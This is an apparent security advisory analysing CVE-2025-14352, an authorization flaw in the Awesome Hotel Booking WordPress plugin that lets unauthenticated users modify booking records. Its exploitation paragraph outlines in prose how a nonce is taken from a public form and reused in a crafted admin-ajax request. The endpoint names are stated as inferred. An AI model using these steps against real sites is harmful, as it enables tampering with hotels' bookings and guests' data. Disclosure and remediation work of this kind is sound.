Atomic Edge analysis of CVE-2025-14352 (metadata-based):
This vulnerability is an incorrect authorization flaw in the Awesome Hotel Booking plugin for WordPress, affecting versions up to and including 1.0.3. The issue resides in the `room-single.php` shortcode handler, allowing unauthenticated attackers to modify arbitrary booking records. The CVSS score of 5.3 (Medium) reflects an attack with low complexity that impacts data integrity without affecting confidentiality or availability.
Atomic Edge research identifies the root cause as a missing capability check. The vulnerability description confirms the plugin relied solely on WordPress nonce verification for authorization. Nonces are designed to prevent Cross-Site Request Forgery (CSRF) but do not authenticate user identity or verify permissions. Since a valid nonce can be obtained from a public-facing booking form, any user can use it to make unauthorized requests to a data modification handler. This is a classic CWE-863 scenario where the authorization mechanism incorrectly assumes a nonce check is sufficient for access control.
The exploitation method involves two steps. First, an attacker visits a page containing the plugin’s public booking form to extract a valid nonce value, typically from a hidden form field or a JavaScript variable. Second, the attacker crafts a POST request to the plugin’s AJAX or admin-post handler, supplying the stolen nonce and parameters that specify which booking record to modify. The exact endpoint is inferred from common WordPress patterns; the likely target is `/wp-admin/admin-ajax.php` with an action parameter like `awesome_hotel_booking_update`. The payload would include parameters such as `booking_id` and new booking details.
Effective remediation requires implementing proper capability checks. The patched version (1.0.4) likely added a function like `current_user_can()` to the vulnerable handler, verifying the user has an appropriate role (e.g., `manage_options` or a custom booking management capability) before processing the data modification. The nonce check should remain to defend against CSRF, but it must be paired with this user authorization check. Input validation and sanitization for the booking parameters would also be a prudent addition.
Successful exploitation directly impacts data integrity. An unauthenticated attacker can alter booking details, such as dates, guest information, or payment status. This could lead to operational disruption, financial loss for the hotel, and privacy violations if personal data is exposed or changed. The attack does not permit viewing other bookings (confidentiality) or causing a service outage (availability), but unauthorized modification of business records constitutes a significant security breach.
